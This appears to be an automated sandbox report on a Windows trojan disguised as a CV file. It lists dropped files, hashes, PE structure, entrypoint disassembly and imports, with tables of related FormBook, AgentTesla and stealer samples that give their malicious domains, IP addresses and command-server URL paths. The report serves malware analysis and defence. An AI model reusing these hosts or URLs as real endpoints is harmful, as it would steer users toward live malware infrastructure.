                                                                Sample name:CV_ Filipa Barbosa.exe
                                                                Detection:MAL
                                                                Classification:mal100.troj.spyw.evad.winEXE@7/3@12/9
                                                                EGA Information:
                                                                • Successful, ratio: 75%
                                                                HCA Information:
                                                                • Successful, ratio: 97%
                                                                • Number of executed functions: 52
                                                                • Number of non-executed functions: 302
                                                                Cookbook Comments:
                                                                • Found application associated with file extension: .exe
                                                                • Sleeps bigger than 100000000ms are automatically reduced to 1000ms
                                                                • Sleep loops longer than 100000000ms are bypassed. Single calls with delay of 100000000ms and higher are ignored

                                                                Warnings

                                                                • Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
                                                                • Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, otelrules.azureedge.net, otelrules.afd.azureedge.net, azureedge-t-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com
                                                                • Execution Graph export aborted for target BzEfnSVbdFtPTT.exe, PID 6872 because it is empty
                                                                • Not all processes where analyzed, report is missing behavior information
                                                                • Report creation exceeded maximum time and may have missing disassembly code information.
                                                                • Report size exceeded maximum capacity and may have missing disassembly code.
                                                                • VT rate limit hit for: CV_ Filipa Barbosa.exe

                                                                Simulations

                                                                Behavior and APIs

                                                                ⊘No simulations

                                                                Joe Sandbox View / Context

                                                                IPs

                                                                MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                91.206.201.136need quotations.exeGet hashmaliciousFormBookBrowse
                                                                • www.betmatchx.online/bnd1/
                                                                13.248.169.48SWIFT COPY 0028_pdf.exeGet hashmaliciousFormBookBrowse
                                                                • www.optimismbank.xyz/lnyv/
                                                                New Order - RCII900718_Contract Drafting.exeGet hashmaliciousFormBookBrowse
                                                                • www.avalanchefi.xyz/ctta/
                                                                need quotations.exeGet hashmaliciousFormBookBrowse
                                                                • www.egldfi.xyz/3e55/
                                                                Quotation request -30112024_pdf.exeGet hashmaliciousFormBookBrowse
                                                                • www.tals.xyz/010v/
                                                                Arrival Notice.exeGet hashmaliciousFormBookBrowse
                                                                • www.wajf.net/dkz5/
                                                                rG5EzfUhUp.exeGet hashmaliciousSakula RATBrowse
                                                                • www.polarroute.com/newimage.asp?imageid=zcddwc1730788541&type=0&resid=5322796
                                                                dhl009544554961.INV.PEK.CO.041.20241115.183845.20241115.183948.34872.exeGet hashmaliciousFormBookBrowse
                                                                • www.extrem.tech/ikn1/
                                                                Hire P.O.exeGet hashmaliciousFormBookBrowse
                                                                • www.sonoscan.org/ew98/
                                                                RFQ 3100185 MAHAD.exeGet hashmaliciousFormBookBrowse
                                                                • www.hopeisa.live/v0jl/
                                                                DHL SHIPPING CONFIRMATION-SAMPLES DELIVERY ADDRESS.exeGet hashmaliciousFormBookBrowse
                                                                • www.layerzero.cfd/8f5m/

                                                                Domains

                                                                MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                www.betmatchx.onlineneed quotations.exeGet hashmaliciousFormBookBrowse
                                                                • 91.206.201.136
                                                                s-part-0017.t-0009.t-msedge.nethttps://www.google.ca/url?q=30NUMBER&rct=77151727248916238810&sa=t&url=amp/s/estudioit.cl/starl/%23YW5nZWxhLmhvZGdzb25AMnNmZy5jb20=Get hashmaliciousUnknownBrowse
                                                                • 13.107.246.45
                                                                invoice.exeGet hashmaliciousFormBookBrowse
                                                                • 13.107.246.45
                                                                file.exeGet hashmaliciousLummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, StealcBrowse
                                                                • 13.107.246.45
                                                                215.exeGet hashmaliciousUnknownBrowse
                                                                • 13.107.246.45
                                                                213.exeGet hashmaliciousUnknownBrowse
                                                                • 13.107.246.45
                                                                212.exeGet hashmaliciousUnknownBrowse
                                                                • 13.107.246.45
                                                                file.exeGet hashmaliciousLummaCBrowse
                                                                • 13.107.246.45
                                                                file.exeGet hashmaliciousStealcBrowse
                                                                • 13.107.246.45
                                                                file.exeGet hashmaliciousPureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, StealcBrowse
                                                                • 13.107.246.45
                                                                file.exeGet hashmaliciousLummaCBrowse
                                                                • 13.107.246.45
                                                                www.bcg.servicesneed quotations.exeGet hashmaliciousFormBookBrowse
                                                                • 199.59.243.227
                                                                PO-DC13112024_pdf.vbsGet hashmaliciousUnknownBrowse
                                                                • 199.59.243.227

                                                                ASNs

                                                                MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                UKRAINE-ASUAneed quotations.exeGet hashmaliciousFormBookBrowse
                                                                • 91.206.201.136
                                                                Maryam Farokhi-PhD- CV-1403.exeGet hashmaliciousFormBookBrowse
                                                                • 185.68.16.94
                                                                Y7isAhMKal.exeGet hashmaliciousFormBookBrowse
                                                                • 185.68.16.94
                                                                tvfF5APmrC.lnkGet hashmaliciousMalLnkBrowse
                                                                • 185.68.16.199
                                                                aAmetcdeXM.lnkGet hashmaliciousMalLnkBrowse
                                                                • 185.68.16.199
                                                                wODub61gZe.exeGet hashmaliciousFormBookBrowse
                                                                • 185.68.16.50
                                                                IMPORT PERMITS.exeGet hashmaliciousFormBookBrowse
                                                                • 185.68.16.94
                                                                draft contract for order #782334.exeGet hashmaliciousFormBookBrowse
                                                                • 185.68.16.94
                                                                T15hf0Y3mp.lnkGet hashmaliciousUnknownBrowse
                                                                • 185.68.16.189
                                                                sbOq2d6k2t.lnkGet hashmaliciousUnknownBrowse
                                                                • 185.68.16.189
                                                                YURTEH-ASUAsupport.Client.exeGet hashmaliciousScreenConnect ToolBrowse
                                                                • 31.42.187.210
                                                                support.Client.exeGet hashmaliciousScreenConnect ToolBrowse
                                                                • 31.42.187.210
                                                                SI HE Voy - TC Relet 11.docx.scr.exeGet hashmaliciousAgentTeslaBrowse
                                                                • 152.89.61.240
                                                                MV ALEXOS_VESSEL'S DESC.docx.scr.exeGet hashmaliciousAgentTeslaBrowse
                                                                • 152.89.61.240
                                                                https://r2.ddlnk.net/c/AQj0-RUQuwkYipioASC0cRmrHeGLBOb7t9m7_CWaa81LkCY1aSe2ilmnvwK5PXzQGet hashmaliciousUnknownBrowse
                                                                • 152.89.61.240
                                                                https://campaign-statistics.com/link_click/OOIhh4OKHe_NcHPG/8cb76dcdebff138ed04c1331049114e6Get hashmaliciousUnknownBrowse
                                                                • 152.89.61.240
                                                                https://campaign-statistics.com/link_click/ODQJBme7yo_NcFtX/22e0ea1236db29f11ee5970fcc1e783cGet hashmaliciousUnknownBrowse
                                                                • 152.89.61.240
                                                                https://discountdays.ru/Get hashmaliciousUnknownBrowse
                                                                • 31.42.186.237
                                                                rC-P-0000054697.exeGet hashmaliciousFormBookBrowse
                                                                • 152.89.61.240
                                                                MR1WcAKdlh.elfGet hashmaliciousMiraiBrowse
                                                                • 152.89.63.35
                                                                MULTIBAND-NEWHOPEUSRFQ 3100185 MAHAD.exeGet hashmaliciousFormBookBrowse
                                                                • 209.74.77.107
                                                                A2028041200SD.exeGet hashmaliciousFormBookBrowse
                                                                • 209.74.77.109
                                                                https://hmjpvx0wn1.gaimensebb.shop/Get hashmaliciousEvilProxy, HTMLPhisherBrowse
                                                                • 209.74.95.101
                                                                Order No 24.exeGet hashmaliciousFormBookBrowse
                                                                • 209.74.64.58
                                                                dhl009544554961.INV.PEK.CO.041.20241115.183845.20241115.183948.34872.exeGet hashmaliciousFormBookBrowse
                                                                • 209.74.64.187
                                                                RFQ.exeGet hashmaliciousFormBookBrowse
                                                                • 209.74.64.58
                                                                DHL SHIPPING CONFIRMATION-SAMPLES DELIVERY ADDRESS.exeGet hashmaliciousFormBookBrowse
                                                                • 209.74.64.59
                                                                https://u47618913.ct.sendgrid.net/ls/click?upn=u001.ySazWJ5NZMDRHbOtEU-2BeoVq5CHimfeKOmAStZ-2FBgQMYQ3SSwsETAhk1yN-2BT4-2Bp2oKYzZov6D-2F-2FVWJZ1NqqUA8rkCQTGD9qAyzE3VfFeoQ2nuSJqqyEFkZOdD2fHyfAGMqPTrK5an3w0r3jeoJ-2B5P7rAm7lpee2LRBP-2FVZ8vpCC6OhMnZUP9C90hQTb0-2BpgFS16pphNEcXB1XFdv8oIx-2FwRORRrbhR98R4uG9rtcNDDwGDlWsc4rC8kZPQKm-2F1Mm8tNwYXTNsqE7C9scBPWKFj8-2Flkc4ljwpAg27SdTSH4Lv1yIeDUc-2Br14vSnR5hortDhaaXBKI0vawIBQmkU8qdJOSHyv8egzfUQvo0FmhKgqV1moo-2BnRe99IbJ35dDYZE0MrccJKFnB5BMI9ztOOsnQMWDWj4usmLc-2BeVbqm24LsVBI18WzbkH2NLJelVG2ts-2FY8NEmgO2IHd2ydt-2BhAOvQWuc-2BoCn3Ao-2FeTWrPbny4XNYysHB9Qu5AO8kwT-2BngJOg10GMOXJS1JsoXicgqZmKM-2B-2FBOfXRHNWtl98FVLgmqGL1yDRbHi-2BrUHFtCwtB3BRDatptZmQIPNmSCXkxadq8IAoDDcDLc8BntBCtxPjmUSXgMaBFfsbPygwonXOkWZIQIxp1wvHXj-2BZ1eIGRPTwfugS5VMB7jYi-2FePeZ2P8ejmUXu0aUYor7jxsavDdhhTlU0d3WGd7xXyc70gSNl4s0N8kb-2FhMFZ3OuPfAMZG-2BGWl7Vsgw97GpKKLJX78rYX8Dtq0-2BFHI8oijeDXiQEnvU-2FI4F3F63PGiFfTUlwdYZGBzmjvsDN3AL1dSwty6HpxvSAKCtZ9VWrfa8NwcaFPKhxnxW4r2AR9TTWpNatEfU14LjPxEM-2F6jXkw8omQsSQ5ERlG1h6ZTouS0rz5yiYIeyCUVpUuOT4FtnK35YgC-2B0S-2FAum0FNVEv9aFTVDigH5szZA6pWOYsjwY5forGtNE55v7VxXGbkIRiEOYPWjYX7vj5EKbcmwdWMu8O3989atXdomEpBZG0cX1ylWoweLRVGVMNbSs-2FOqs-2B2xH8pdGj9VcybpSShtsD0ZIyshNyN0TwKGcJvKUNgMPDQVU64V5WleuedIajiM6uCp0xLc8RFYl0z-2B6RGF9NRTuzleNM-2Fg7hwq-2BEg52eVJjsFh3FdZjf0sr4TFySEDrqq3wci8zEr-2FI5c5Wj-2Fk-2F98bI-2FtCrFbLhfO78CKXQ3KYT53otrRT47GTmw-3D-3DwgKy_cipWnXOVDIhOM-2BBXOyzcHeOgQULBtPxx5riDWemF2G-2BwYzp7goEAXusjqSQprai9ZAQSor3gqS04DnqVBNX-2B27UevOScScKFnEaHJjzQ16GEAAakNELZybevGcJfbhSMyz-2FBkUhDktUr20hzj2tsCmKBBmBXnfL9SKUCvI82Axz3RMcAfJhD5XZvwDkb1SgvyUaaM4lOGnGhDtzRF5NN8-2FlqjhJjS-2FU6ncYoAfO4VYI-3DGet hashmaliciousHTMLPhisherBrowse
                                                                • 209.74.72.93
                                                                statement of accounts.exeGet hashmaliciousFormBookBrowse
                                                                • 209.74.64.58
                                                                rGO880-PDF.exeGet hashmaliciousFormBookBrowse
                                                                • 209.74.64.59

                                                                JA3 Fingerprints

                                                                ⊘No context

                                                                Dropped Files

                                                                ⊘No context

                                                                Created / dropped Files

                                                                C:\Users\user\AppData\Local\Temp\7390-mXL

                                                                Download File
                                                                Process:C:\Windows\SysWOW64\wlanext.exe
                                                                File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
                                                                Category:dropped
                                                                Size (bytes):196608
                                                                Entropy (8bit):1.1221538113908904
                                                                Encrypted:false
                                                                SSDEEP:192:r2qAdB9TbTbuDDsnxCkvSAE+WslKOMq+8ESRR9crV+J3mLxAXd:r2qOB1nxCkvSAELyKOMq+8ETZKoxAX
                                                                MD5:C1AE02DC8BFF5DD65491BF71C0B740A7
                                                                SHA1:6B68C7B76FB3D1F36D6CF003C60B1571C62C0E0F
                                                                SHA-256:CF2E96737B5DDC980E0F71003E391399AAE5124C091C254E4CCCBC2A370757D7
                                                                SHA-512:01F8CA51310726726B0B936385C869CDDBC9DD996B488E539B72C580BD394219774C435482E618D58EB8F08D411411B63912105E4047CB29F845B2D07DE3E0E1
                                                                Malicious:false
                                                                Reputation:moderate, very likely benign file
                                                                Preview:SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                C:\Users\user\AppData\Local\Temp\autACBA.tmp

                                                                Download File
                                                                Process:C:\Users\user\Desktop\CV_ Filipa Barbosa.exe
                                                                File Type:data
                                                                Category:dropped
                                                                Size (bytes):287744
                                                                Entropy (8bit):7.994966060813076
                                                                Encrypted:true
                                                                SSDEEP:6144:6fEw2i8neQEm19gz0Kkyl9MAdewiRNdSPnZ61ML4dkn2EWARUfhD5GGZ:6fEw2FEmDgppoAdewizkZ61MUe2EWARk
                                                                MD5:88440CA8115AB6B211461800A10E3D5F
                                                                SHA1:566E8C24BB94BFA0D8E17947C05417BD6F2D1AF8
                                                                SHA-256:ABB8282B43205C0091F53F8EFD72813161E090892FF8D5687327412D40367737
                                                                SHA-512:0DF7A9E81F6059A179EEA43D13C4EAE49233C9F0425024247C207A40900DDDC9501385D832313EC0E4CAD7B7F1E0993A41A60FE9EEEEEB2FDEDF30A93D536404
                                                                Malicious:false
                                                                Reputation:low
                                                                Preview:...C2J0KLIHI..8T.BEVAD9C.XC1J0KHIHIWO8TCBEVAD9CLXC1J0KHIHIWO.TCBKI.J9.E.b.K|.i. $oH&,%77,dZ""6,EjR.h;='w&Vt...v,+]&bUN;n0KHIHIW69]..%1.yY$.e#V.*..r)0."..y6&.#...Q-..!* t7(.TCBEVAD9..XC}K1K.1..WO8TCBEV.D;BGYH1JbOHIHIWO8TCbQVAD)CLX35J0K.IHYWO8VCBCVAD9CLXE1J0KHIHI'K8TABEVAD9AL..1J KHYHIWO(TCREVAD9C\XC1J0KHIHIWO8TCBEVAD9CLXC1J0KHIHIWO8TCBEVAD9CLXC1J0KHIHIWO8TCBEVAD9CLXC1J0KHIHIWO8TCBEVAD9CLXC1J0KHIHIWO8TCBEVAD9CLXC1J0KHIHIWO8TCBk"$<MCLX.aN0KXIHI.K8TSBEVAD9CLXC1J0KhIH)WO8TCBEVAD9CLXC1J0KHIHIWO8TCBEVAD9CLXC1J0KHIHIWO8TCBEVAD9CLXC1J0KHIHIWO8TCBEVAD9CLXC1J0KHIHIWO8TCBEVAD9CLXC1J0KHIHIWO8TCBEVAD9CLXC1J0KHIHIWO8TCBEVAD9CLXC1J0KHIHIWO8TCBEVAD9CLXC1J0KHIHIWO8TCBEVAD9CLXC1J0KHIHIWO8TCBEVAD9CLXC1J0KHIHIWO8TCBEVAD9CLXC1J0KHIHIWO8TCBEVAD9CLXC1J0KHIHIWO8TCBEVAD9CLXC1J0KHIHIWO8TCBEVAD9CLXC1J0KHIHIWO8TCBEVAD9CLXC1J0KHIHIWO8TCBEVAD9CLXC1J0KHIHIWO8TCBEVAD9CLXC1J0KHIHIWO8TCBEVAD9CLXC1J0KHIHIWO8TCBEVAD9CLXC1J0KHIHIWO8TCBEVAD9CLXC1J0KHIHIWO8TCBEVAD9CLXC1J0KHIHIWO8TCBEVAD9CLXC1J0KHIHIWO8TCBEVAD9CLXC1J0KHIH

                                                                C:\Users\user\AppData\Local\Temp\horrify

                                                                Download File
                                                                Process:C:\Users\user\Desktop\CV_ Filipa Barbosa.exe
                                                                File Type:data
                                                                Category:dropped
                                                                Size (bytes):287744
                                                                Entropy (8bit):7.994966060813076
                                                                Encrypted:true
                                                                SSDEEP:6144:6fEw2i8neQEm19gz0Kkyl9MAdewiRNdSPnZ61ML4dkn2EWARUfhD5GGZ:6fEw2FEmDgppoAdewizkZ61MUe2EWARk
                                                                MD5:88440CA8115AB6B211461800A10E3D5F
                                                                SHA1:566E8C24BB94BFA0D8E17947C05417BD6F2D1AF8
                                                                SHA-256:ABB8282B43205C0091F53F8EFD72813161E090892FF8D5687327412D40367737
                                                                SHA-512:0DF7A9E81F6059A179EEA43D13C4EAE49233C9F0425024247C207A40900DDDC9501385D832313EC0E4CAD7B7F1E0993A41A60FE9EEEEEB2FDEDF30A93D536404
                                                                Malicious:false
                                                                Preview:...C2J0KLIHI..8T.BEVAD9C.XC1J0KHIHIWO8TCBEVAD9CLXC1J0KHIHIWO.TCBKI.J9.E.b.K|.i. $oH&,%77,dZ""6,EjR.h;='w&Vt...v,+]&bUN;n0KHIHIW69]..%1.yY$.e#V.*..r)0."..y6&.#...Q-..!* t7(.TCBEVAD9..XC}K1K.1..WO8TCBEV.D;BGYH1JbOHIHIWO8TCbQVAD)CLX35J0K.IHYWO8VCBCVAD9CLXE1J0KHIHI'K8TABEVAD9AL..1J KHYHIWO(TCREVAD9C\XC1J0KHIHIWO8TCBEVAD9CLXC1J0KHIHIWO8TCBEVAD9CLXC1J0KHIHIWO8TCBEVAD9CLXC1J0KHIHIWO8TCBEVAD9CLXC1J0KHIHIWO8TCBEVAD9CLXC1J0KHIHIWO8TCBk"$<MCLX.aN0KXIHI.K8TSBEVAD9CLXC1J0KhIH)WO8TCBEVAD9CLXC1J0KHIHIWO8TCBEVAD9CLXC1J0KHIHIWO8TCBEVAD9CLXC1J0KHIHIWO8TCBEVAD9CLXC1J0KHIHIWO8TCBEVAD9CLXC1J0KHIHIWO8TCBEVAD9CLXC1J0KHIHIWO8TCBEVAD9CLXC1J0KHIHIWO8TCBEVAD9CLXC1J0KHIHIWO8TCBEVAD9CLXC1J0KHIHIWO8TCBEVAD9CLXC1J0KHIHIWO8TCBEVAD9CLXC1J0KHIHIWO8TCBEVAD9CLXC1J0KHIHIWO8TCBEVAD9CLXC1J0KHIHIWO8TCBEVAD9CLXC1J0KHIHIWO8TCBEVAD9CLXC1J0KHIHIWO8TCBEVAD9CLXC1J0KHIHIWO8TCBEVAD9CLXC1J0KHIHIWO8TCBEVAD9CLXC1J0KHIHIWO8TCBEVAD9CLXC1J0KHIHIWO8TCBEVAD9CLXC1J0KHIHIWO8TCBEVAD9CLXC1J0KHIHIWO8TCBEVAD9CLXC1J0KHIHIWO8TCBEVAD9CLXC1J0KHIH

                                                                Static File Info

                                                                General

                                                                File type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                Entropy (8bit):7.152954814667303
                                                                TrID:
                                                                • Win32 Executable (generic) a (10002005/4) 99.96%
                                                                • Generic Win/DOS Executable (2004/3) 0.02%
                                                                • DOS Executable Generic (2002/1) 0.02%
                                                                • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                                                File name:CV_ Filipa Barbosa.exe
                                                                File size:1'219'584 bytes
                                                                MD5:da81aec77a2722b43e145d3ba84a6dff
                                                                SHA1:665901fb3d48620ff8764eb0cacc03e05a13f289
                                                                SHA256:58ddab9b1f053b01967cdcbc7f828cff5a4b1b56f55bab33f2b27b4c24cbe573
                                                                SHA512:4acb2d6981495273dbe62ef4d443671deabb92f561a0cc9d7a664d12c3783a4204e49e5afa17397bb65539d2ab3d361592d48a214ebd9ff3e803bfa1596274ae
                                                                SSDEEP:24576:Xtb20pkaCqT5TBWgNQ7a18a2aw+2Hx3u6A:UVg5tQ7a18a2a9OM5
                                                                TLSH:EB45D01273DEC361C3B25273BA25B741AEBF782506A5F56B2FD4093DB920122521EB73
                                                                File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........d..............'.a.....H.k.....H.h.....H.i......}%......}5...............~.......k.......o.......1.......j.....Rich...........

                                                                File Icon

                                                                Icon Hash:aaf3e3e3938382a0

                                                                Static PE Info

                                                                General

                                                                Entrypoint:0x425f74
                                                                Entrypoint Section:.text
                                                                Digitally signed:false
                                                                Imagebase:0x400000
                                                                Subsystem:windows gui
                                                                Image File Characteristics:EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
                                                                DLL Characteristics:DYNAMIC_BASE, TERMINAL_SERVER_AWARE
                                                                Time Stamp:0x673C7104 [Tue Nov 19 11:05:40 2024 UTC]
                                                                TLS Callbacks:
                                                                CLR (.Net) Version:
                                                                OS Version Major:5
                                                                OS Version Minor:1
                                                                File Version Major:5
                                                                File Version Minor:1
                                                                Subsystem Version Major:5
                                                                Subsystem Version Minor:1
                                                                Import Hash:3d95adbf13bbe79dc24dccb401c12091

                                                                Entrypoint Preview

                                                                Instruction
                                                                call 00007F4F54CB163Fh
                                                                jmp 00007F4F54CA4654h
                                                                int3
                                                                int3
                                                                push edi
                                                                push esi
                                                                mov esi, dword ptr [esp+10h]
                                                                mov ecx, dword ptr [esp+14h]
                                                                mov edi, dword ptr [esp+0Ch]
                                                                mov eax, ecx
                                                                mov edx, ecx
                                                                add eax, esi
                                                                cmp edi, esi
                                                                jbe 00007F4F54CA47DAh
                                                                cmp edi, eax
                                                                jc 00007F4F54CA4B3Eh
                                                                bt dword ptr [004C0158h], 01h
                                                                jnc 00007F4F54CA47D9h
                                                                rep movsb
                                                                jmp 00007F4F54CA4AECh
                                                                cmp ecx, 00000080h
                                                                jc 00007F4F54CA49A4h
                                                                mov eax, edi
                                                                xor eax, esi
                                                                test eax, 0000000Fh
                                                                jne 00007F4F54CA47E0h
                                                                bt dword ptr [004BA370h], 01h
                                                                jc 00007F4F54CA4CB0h
                                                                bt dword ptr [004C0158h], 00000000h
                                                                jnc 00007F4F54CA497Dh
                                                                test edi, 00000003h
                                                                jne 00007F4F54CA498Eh
                                                                test esi, 00000003h
                                                                jne 00007F4F54CA496Dh
                                                                bt edi, 02h
                                                                jnc 00007F4F54CA47DFh
                                                                mov eax, dword ptr [esi]
                                                                sub ecx, 04h
                                                                lea esi, dword ptr [esi+04h]
                                                                mov dword ptr [edi], eax
                                                                lea edi, dword ptr [edi+04h]
                                                                bt edi, 03h
                                                                jnc 00007F4F54CA47E3h
                                                                movq xmm1, qword ptr [esi]
                                                                sub ecx, 08h
                                                                lea esi, dword ptr [esi+08h]
                                                                movq qword ptr [edi], xmm1
                                                                lea edi, dword ptr [edi+08h]
                                                                test esi, 00000007h
                                                                je 00007F4F54CA4835h
                                                                bt esi, 03h
                                                                jnc 00007F4F54CA4888h
                                                                movdqa xmm1, dqword ptr [esi+00h]

                                                                Rich Headers

                                                                Programming Language:
                                                                • [ C ] VS2008 SP1 build 30729
                                                                • [IMP] VS2008 SP1 build 30729
                                                                • [ASM] VS2012 UPD4 build 61030
                                                                • [RES] VS2012 UPD4 build 61030
                                                                • [LNK] VS2012 UPD4 build 61030

                                                                Data Directories

                                                                NameVirtual AddressVirtual Size Is in Section
                                                                IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                                                IMAGE_DIRECTORY_ENTRY_IMPORT0xb70040x17c.rdata
                                                                IMAGE_DIRECTORY_ENTRY_RESOURCE0xc40000x60b5c.rsrc
                                                                IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                                                IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                                                IMAGE_DIRECTORY_ENTRY_BASERELOC0x1250000x6c4c.reloc
                                                                IMAGE_DIRECTORY_ENTRY_DEBUG0x8d8d00x1c.rdata
                                                                IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                                IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                                IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                                                IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0xb27300x40.rdata
                                                                IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                                IMAGE_DIRECTORY_ENTRY_IAT0x8d0000x860.rdata
                                                                IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                                IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                                                IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                                Sections

                                                                NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                                .text0x10000x8b54f0x8b600f437a6545e938612764dbb0a314376fcFalse0.5699499019058296data6.680413749210956IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                                .rdata0x8d0000x2cc420x2ce00827ffd24759e8e420890ecf164be989eFalse0.330464397632312data5.770192333189168IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                .data0xba0000x9d540x6200e0a519f8e3a35fae0d9c2cfd5a4bacfcFalse0.16402264030612246data2.002691099965349IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                .rsrc0xc40000x60b5c0x60c00724602b9db11f16c27bdc052c43da4e7False0.9323244710917312data7.903043519879511IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                .reloc0x1250000xa4740xa6000bc98f8631ef0bde830a7f83bb06ff08False0.5017884036144579data5.245426654116355IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

                                                                Resources

                                                                NameRVASizeTypeLanguageCountryZLIB Complexity
                                                                RT_ICON0xc45a80x128Device independent bitmap graphic, 16 x 32 x 4, image size 192EnglishGreat Britain0.7466216216216216
                                                                RT_ICON0xc46d00x128Device independent bitmap graphic, 16 x 32 x 4, image size 128, 16 important colorsEnglishGreat Britain0.3277027027027027
                                                                RT_ICON0xc47f80x128Device independent bitmap graphic, 16 x 32 x 4, image size 192EnglishGreat Britain0.3885135135135135
                                                                RT_ICON0xc49200x2e8Device independent bitmap graphic, 32 x 64 x 4, image size 0EnglishGreat Britain0.3333333333333333
                                                                RT_ICON0xc4c080x128Device independent bitmap graphic, 16 x 32 x 4, image size 0EnglishGreat Britain0.5
                                                                RT_ICON0xc4d300xea8Device independent bitmap graphic, 48 x 96 x 8, image size 0EnglishGreat Britain0.2835820895522388
                                                                RT_ICON0xc5bd80x8a8Device independent bitmap graphic, 32 x 64 x 8, image size 0EnglishGreat Britain0.37906137184115524
                                                                RT_ICON0xc64800x568Device independent bitmap graphic, 16 x 32 x 8, image size 0EnglishGreat Britain0.23699421965317918
                                                                RT_ICON0xc69e80x25a8Device independent bitmap graphic, 48 x 96 x 32, image size 0EnglishGreat Britain0.13858921161825727
                                                                RT_ICON0xc8f900x10a8Device independent bitmap graphic, 32 x 64 x 32, image size 0EnglishGreat Britain0.25070356472795496
                                                                RT_ICON0xca0380x468Device independent bitmap graphic, 16 x 32 x 32, image size 0EnglishGreat Britain0.3173758865248227
                                                                RT_MENU0xca4a00x50dataEnglishGreat Britain0.9
                                                                RT_STRING0xca4f00x594dataEnglishGreat Britain0.3333333333333333
                                                                RT_STRING0xcaa840x68adataEnglishGreat Britain0.2747909199522103
                                                                RT_STRING0xcb1100x490dataEnglishGreat Britain0.3715753424657534
                                                                RT_STRING0xcb5a00x5fcdataEnglishGreat Britain0.3087467362924282
                                                                RT_STRING0xcbb9c0x65cdataEnglishGreat Britain0.34336609336609336
                                                                RT_STRING0xcc1f80x466dataEnglishGreat Britain0.3605683836589698
                                                                RT_STRING0xcc6600x158Matlab v4 mat-file (little endian) n, numeric, rows 0, columns 0EnglishGreat Britain0.502906976744186
                                                                RT_RCDATA0xcc7b80x57e63data1.000322190898107
                                                                RT_GROUP_ICON0x12461c0x76dataEnglishGreat Britain0.6610169491525424
                                                                RT_GROUP_ICON0x1246940x14dataEnglishGreat Britain1.25
                                                                RT_GROUP_ICON0x1246a80x14dataEnglishGreat Britain1.15
                                                                RT_GROUP_ICON0x1246bc0x14dataEnglishGreat Britain1.25
                                                                RT_VERSION0x1246d00xdcdataEnglishGreat Britain0.6181818181818182
                                                                RT_MANIFEST0x1247ac0x3b0ASCII text, with CRLF line terminatorsEnglishGreat Britain0.5116525423728814

                                                                Imports

                                                                DLLImport
                                                                WSOCK32.dll__WSAFDIsSet, recv, send, setsockopt, ntohs, recvfrom, select, WSAStartup, htons, accept, listen, bind, closesocket, connect, WSACleanup, ioctlsocket, sendto, WSAGetLastError, inet_addr, gethostbyname, gethostname, socket
                                                                VERSION.dllGetFileVersionInfoW, VerQueryValueW, GetFileVersionInfoSizeW
                                                                WINMM.dlltimeGetTime, waveOutSetVolume, mciSendStringW
                                                                COMCTL32.dllImageList_Destroy, ImageList_Remove, ImageList_SetDragCursorImage, ImageList_BeginDrag, ImageList_DragEnter, ImageList_DragLeave, ImageList_EndDrag, ImageList_DragMove, ImageList_Create, InitCommonControlsEx, ImageList_ReplaceIcon
                                                                MPR.dllWNetUseConnectionW, WNetCancelConnection2W, WNetGetConnectionW, WNetAddConnection2W
                                                                WININET.dllInternetReadFile, InternetCloseHandle, InternetOpenW, InternetSetOptionW, InternetCrackUrlW, HttpQueryInfoW, InternetQueryOptionW, HttpOpenRequestW, HttpSendRequestW, FtpOpenFileW, FtpGetFileSize, InternetOpenUrlW, InternetConnectW, InternetQueryDataAvailable
                                                                PSAPI.DLLGetProcessMemoryInfo
                                                                IPHLPAPI.DLLIcmpCreateFile, IcmpCloseHandle, IcmpSendEcho
                                                                USERENV.dllUnloadUserProfile, DestroyEnvironmentBlock, CreateEnvironmentBlock, LoadUserProfileW
                                                                UxTheme.dllIsThemeActive
